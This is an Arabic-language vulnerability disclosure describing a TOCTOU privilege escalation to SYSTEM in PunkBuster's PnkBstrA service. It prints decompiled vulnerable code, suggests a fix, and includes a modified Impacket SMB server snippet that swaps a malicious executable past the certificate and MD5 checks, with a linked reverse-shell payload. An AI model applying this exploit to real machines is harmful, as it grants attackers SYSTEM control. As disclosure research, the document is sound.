
PunkBuster LPI إلى NT AUTHORITY\SYSTEM

يقوم برنامج PunkBuster بتثبيت نفسه كخدمتين، وبرنامج تشغيل kernel اختياري؟.
PnkBstrA: خدمة تعمل باستمرار في الخلفية، وتكون مسؤولة عن إدارة PunkBuster بشكل عامPnkBstrB: خدمة تبدأ عند بدء لعبة محمية. تأتي بميزات أكثر من نظيرتها A.تم تصميم كلتا الخدمتين بطريقة مماثلة، حيث تستمعان إلى UDP على localhost على منفذ في النطاق [44301, 44400].
بمجرد العثور على منفذ، يتم كتابته في قيمة Port في HKLM:\SOFTWARE\Even Balance\PnkBstrA أو HKLM:\SOFTWARE\WOW6432Node\Even Balance\PnkBstrA.
يتم تخزين كل طلب في مخزن مؤقت عالمي طوله 1500 بايت (ومع ذلك، يتم استقبال 1499 بايت فقط من أجل فاصل NUL).
لا يوجد هيكل قياسي لبيانات الطلب، ولكن إليك هيكلها المعتاد:
أنواع الطلبات في PnkBstrA هي كما يلي:
l: تحميل (Load): يبدأ ويحدث PnkBstrB
PnkBstrBu: إلغاء التحميل (Unload): إيقاف PnkBstrBv: الإصدار (Version): ببساطة يرجع الإصدارm: مراقبة (Monitor): يأخذ معرف العملية (PID)، ويتحقق مما إذا كانت مكتبة DLL الخاصة بعميل PunkBuster (pbcl.dll) موجودة في العملية، ويقوم بتفريغ ذاكرتها إذا كانت موجودة.يحتوي معالج التحميل (l) على ثغرة من نمط TOCTOU، مما يؤدي إلى تصعيد الصلاحيات المحلية كـ NT AUTHORITY\SYSTEM.
تدفق المعالج هو شيء من هذا القبيل:
PnkBstrBEven Balance, Inc.C:\Windows\SysWOW64\PnkBstrB.exe أو C:\Windows\System32\PnkBstrB.exe، حسب النظام الأساسيPnkBstrB التي تعمل كـ LocalSystem باستخدام الملف المنسوخ حديثًا.المشكلة هنا هي أن الملف الذي يتلاعب به PnkBstrA يُعاد فتحه عدة مرات لكل عملية، مما يؤدي إلى موقف يمكن فيه للمهاجم تعديل الملف بين العمليات.
يمكن أن يؤدي هذا إلى مشكلة حيث بعد التحقق من شهادة الملف، يتم استبداله وينتهي الأمر بملف ضار كملف تنفيذي لخدمة PnkBstrB. هذا الملف التنفيذي سيجعل من الممكن لمستخدم غير مميز رفع صلاحياته إلى NT AUTHORITY\SYSTEM.
يظهر تفكيك الكود ذي الصلة هنا:
int startPnkB(char *updateFileName) {
...
// Calculate first MD5
firstMd5Fp = fopen(updateFileName, "r+b");
strcpy(firstMd5, "1");
if ( firstMd5Fp )
computeMD5(updateFileName, firstMd5);
nowMs = GetTickCount();
busyWaitExpiration = rand() % 800 + 300;
while ( (int)(GetTickCount() - nowMs) <= busyWaitExpiration )
;
fclose(firstMd5Fp);
// INJECTION POINT 1
// Check certificate
certificateFilePointer = fopen(updateFileName, "rb"); // Must succeed, or else check futher down will fail
if ( g_Warnings >= 3 )
{
log(1, "Too many failed certificate verifications (%s); Load denied.", updateFileName);
LABEL_49:
if ( certificateFilePointer )
fclose(certificateFilePointer);
return 0;
}
if ( !checkValidCertificate(updateFileName) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not contain a valid certificate; Load denied.", updateFileName);
goto LABEL_49;
}
// Build path to copy to
GetSystemDirectoryA(g_SystemDirectory, 246u);
if ( g_SystemDirectory[0] && g_SystemDirectory[strlen(g_SystemDirectory) - 1] != 92 )
strncat(g_SystemDirectory, 260, "\\");
strncat(g_SystemDirectory, 260, "PnkBstrB.exe");
_chmod(g_SystemDirectory, 0600);
strcpy(Str, g_SystemDirectory);
...
// INJECTION POINT 2
Sleep(750u);
if ( !CopyFileA(updateFileName, g_SystemDirectory, 0) )
{
Sleep(750u);
for ( startTimea = 1; startTimea > 0; --startTimea )
{
Sleep(750u);
if ( CopyFileA(updateFileName, g_SystemDirectory, 0) )
break;
}
if ( startTimea < 1 )
{
LastError = GetLastError();
log(1, "Copy from [%s] to [%s] failed; Load denied. (%lu)", updateFileName, g_SystemDirectory, LastError);
fclose(certificateFilePointer);
return 0;
}
}
// Make sure we previously opened the file
v9 = certificateFilePointer;
if ( certificateFilePointer )
{
fclose(certificateFilePointer);
v9 = fopen(g_SystemDirectory, "rb");
}
// Second MD5
strcpy(newMd5, "2");
if ( v9 )
computeMD5(g_SystemDirectory, newMd5);
if ( memcmp(firstMd5, newMd5, 0x10u) )
{
CloseServiceHandle(hSCManager);
log(1, "%s does not match %s; Load denied.", g_SystemDirectory, updateFileName);
LABEL_41:
if ( v9 )
fclose(v9);
return 0;
}
ServiceA = CreateServiceA(
hSCManager,
"PnkBstrB",
"PnkBstrB",
0xF01FFu,
0x10u,
2u,
1u,
g_SystemDirectory,
0,
0,
0,
0,
0);
...
}
الإصلاح البسيط سيكون نسخ الملف أولاً إلى موقع آمن ولكن مؤقت (مثلاً: PnkBstrB.exe.tmp)، وحساب MD5 والفحوصات من هناك. بهذه الطريقة، لن يكون الملف قابلاً للتعديل من قبل جهة ضارة. سيضمن هذا أيضًا فتح نسخة واحدة من الملف، مما يمنع استغلال SMB.
سيناريو الهجوم يمكن أن يكون توفير ملف ضار، انتظار حساب MD5، استبدال الملف بـ PnkBstrB.exe الأصلي بحيث تمر فحوصات WinVerifyTrust والشهادة، ثم استبداله مرة أخرى بالملف الضار، بحيث يمر MD5 الثاني ويتم نسخ الملف وتنفيذه.
ومع ذلك، من الصعب جدًا تنفيذ هذا السيناريو، حيث أن استبدال الملف صعب، وتعديله أثناء فتحه بواسطة PnkBstrA لا يبدو أنه يطبق التغييرات.
ذلك لأنه من الصعب جدولة الكود الخاص بنا في نقطة الحقن 1 كما هو موضح في الكود. ربما يكون ذلك ممكنًا باستخدام العديد من الخيوط ذات الأولوية الحساسة للوقت، بعضها يحاول باستمرار استبدال الملف، والبعض الآخر يحجب النوى المتزامنة في انتظارات مشغولة.
نهج آخر سيكون محاولة الحصول على تصادم MD5 بين PnkBstrB والملف الضار. سيعمل هذا عن طريق جعل الملف الشرعي يُستخدم كمرشح لأول MD5 ويتم التحقق من شهادته. ومع ذلك، بعد ذلك لدينا فترة زمنية جيدة تبلغ 750 مللي ثانية أو أكثر لاستبدال الملف بملفنا. ثم، سيمر MD5 الثاني وسيتم حقن ملفنا. أثناء تطوير هذا، كنت كسولًا لانتظار توليد تصادم، لذلك اخترت نهجًا آخر.
هذا الكود يعتمد على Windows، ويستخدم fopen التي تتوافق مع وظائف الإدخال والإخراج الخاصة بـ Windows. بحكم التعريف، هذا يعني أن مشاركات SMB ستكون قابلة للوصول. علاوة على ذلك، يذكر MSDN أن هذا السلوك مدعوم:
fopenيقبل مسارات UNC والمسارات التي تتضمن محركات أقراص شبكة معينة طالما أن النظام الذي ينفذ الكود لديه حق الوصول إلى المشاركة أو محرك الأقراص المعين وقت التنفيذ
هذا يعني أنه يمكننا استخدام نهجنا الأول، ولكن نظرًا لأن الكود سيعتمد على مشاركة SMB الخاصة بنا، فإننا نرسل ملفات مختلفة اعتمادًا على عدد مرات طلب الملف.
من خلال تعديل smbserver الخاص بـ Impacket، من الممكن الحصول على هذا السلوك.
يمكن العثور على ملف .patch الكامل هنا. التغييرات الرئيسية هي:
@staticmethod
def smb2Create(connId, smbServer, recvPacket):
...
if not hasattr(smbServer, '_hist'):
smbServer._hist = {}
if pathName.endswith('.exe'):
if pathName not in smbServer._hist.keys():
smbServer._hist[pathName] = 0
smbServer._hist[pathName] += 1
if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
pathName = './PwnBstr.exe'
else:
pathName = './PnkBstrB.exe'
كما ترى، إذا كانت هذه هي المرة الأولى التي نفتح فيها الملف (أول MD5) أو على الأقل المرة الثامنة (نسخ الملف وما بعده)، فإننا نرسل للعميل الملف الضار، بينما نرسل الملف الأصلي في الحالات الأخرى.
يمكن العثور على كود الملف الضار هنا، وهي خدمة بسيطة لـ hello world مع شل عكسي.
https://github.com/user-attachments/assets/0a53c822-6ff5-494e-a5eb-55673a5cc220
تم الاتصال بـ EvenBalance عدة مرات منذ 2025-02-15 عبر طرق مختلفة لكنه لم يرد.
تم الإفصاح الكامل عن هذه المشكلة في 2025-05-10.